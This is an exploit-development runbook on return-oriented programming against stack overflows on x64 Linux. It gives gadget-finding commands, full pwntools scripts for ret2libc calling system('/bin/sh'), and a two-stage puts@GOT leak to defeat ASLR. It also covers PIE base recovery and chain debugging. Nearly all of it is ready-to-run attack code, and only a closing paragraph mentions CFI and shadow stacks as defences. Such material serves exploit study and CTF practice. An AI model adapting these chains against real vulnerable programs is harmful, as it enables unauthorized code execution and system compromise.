ROP chain exploitation

When NX/DEP is enabled, the stack is not executable and direct shellcode injection fails. Return-Oriented Programming reuses existing executable code (gadgets ending in ret) to build arbitrary computation from the target’s own binary and libraries.

Prerequisites

  • Stack overflow with control of the return address (see stack-overflow.md for offset finding and bad character identification)

  • Knowledge of which protections are active

checksec --file=./target
# NX enabled, PIE disabled (or with a leak to defeat PIE), ASLR disabled or bypassable

This runbook covers NX bypass via ROP. PIE+ASLR requires an information leak first (covered at the end).

Find gadgets

# ROPgadget: comprehensive gadget search
ROPgadget --binary ./target --rop --nojop

# also search loaded libraries
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --rop | grep "pop rdi"

# ropper: alternative with filtering
ropper -f ./target --search "pop rdi; ret"
ropper -f ./target --search "pop rsi; pop r15; ret"

# pwntools ROP class: automatic chain building
from pwn import *
elf = ELF('./target')
rop = ROP(elf)
print(rop.dump())

Key gadgets for x64 Linux calling convention (arguments in rdi, rsi, rdx):

pop rdi; ret        # first argument
pop rsi; ret        # second argument (or pop rsi; pop r15; ret)
pop rdx; ret        # third argument
ret                 # stack alignment (required before some SSE instructions)

ret2plt / ret2libc

The simplest ROP goal is calling system("/bin/sh"). With ASLR disabled or a known libc base:

from pwn import *

elf = ELF('./target')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# find gadgets
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]  # for stack alignment

# find system and /bin/sh in libc (with known base)
libc_base = 0x0  # set if ASLR disabled, or from a leak
system_addr = libc_base + libc.symbols['system']
binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))

OFFSET = 72  # from offset-finding step

payload  = b'A' * OFFSET
payload += p64(ret_gadget)       # stack alignment
payload += p64(pop_rdi)          # gadget: pop rdi; ret
payload += p64(binsh_addr)       # rdi = "/bin/sh"
payload += p64(system_addr)      # call system

p = process('./target')
p.sendline(payload)
p.interactive()

Leaking libc base (defeating ASLR)

When ASLR is enabled, libc is loaded at a random base. Use a PLT/GOT leak to find it:

The technique: call puts (or printf) with a GOT entry as its argument. puts prints the contents of that address, the resolved libc address of a known function. Subtract the known offset to find libc base.

from pwn import *

elf = ELF('./target')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]

# stage 1: leak puts@GOT via puts@PLT, then return to main
leak_payload  = b'A' * OFFSET
leak_payload += p64(pop_rdi)
leak_payload += p64(elf.got['puts'])      # rdi = address of puts in GOT
leak_payload += p64(elf.plt['puts'])      # call puts(puts@GOT)
leak_payload += p64(elf.symbols['main'])  # loop back to main

p = process('./target')
p.sendline(leak_payload)
p.recvuntil(b'prompt if any')

# read the leaked address (6 bytes on most 64-bit systems)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
print(f'Leaked puts@libc: {hex(leak)}')

libc.address = leak - libc.symbols['puts']
print(f'libc base: {hex(libc.address)}')

# stage 2: now call system("/bin/sh") with known libc base
system_addr = libc.symbols['system']
binsh_addr  = next(libc.search(b'/bin/sh'))

exploit_payload  = b'A' * OFFSET
exploit_payload += p64(ret_gadget)
exploit_payload += p64(pop_rdi)
exploit_payload += p64(binsh_addr)
exploit_payload += p64(system_addr)

p.sendline(exploit_payload)
p.interactive()

Defeating PIE

When PIE is enabled, the binary itself is loaded at a random base. A leak of any address from the binary’s text or data segment reveals the base:

# if you can leak a GOT entry or a stack pointer pointing into the binary:
elf.address = leaked_binary_addr - elf.symbols['known_function']
# now all elf.symbols, elf.got, elf.plt are correct

PIE+ASLR together require two leaks (one for libc, one for the binary) or a combined leak. This is why modern exploits target information disclosure bugs as a prerequisite.

Automating with pwntools ROP

pwntools can build common chains automatically when gadgets are available:

from pwn import *

elf = ELF('./target')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = libc_base  # set from leak

rop = ROP([elf, libc])
rop.system(next(libc.search(b'/bin/sh')))

payload = b'A' * OFFSET + rop.chain()

p = process('./target')
p.sendline(payload)
p.interactive()

Debugging the chain

gdb -q ./target
(gdb) break *0xADDRESS  # break at start of ROP chain (overwritten return address)
(gdb) run < <(python3 exploit.py)
(gdb) si                 # step through each gadget
(gdb) x/gx $rsp         # check next return address

Common failures:

  • Stack misalignment: add a bare ret gadget before the final call (required for SSE instructions in glibc on x64)

  • Bad characters in addresses: choose a different gadget or libc function

  • Gadget not in binary: search loaded libraries, particularly libc and ld

Counter moves

Building a ROP chain composes gadgets to sidestep NX. CFI and shadow stacks raise the cost of finding usable chains. The defensive counterpart is in the blue notes on memory corruption and its limits.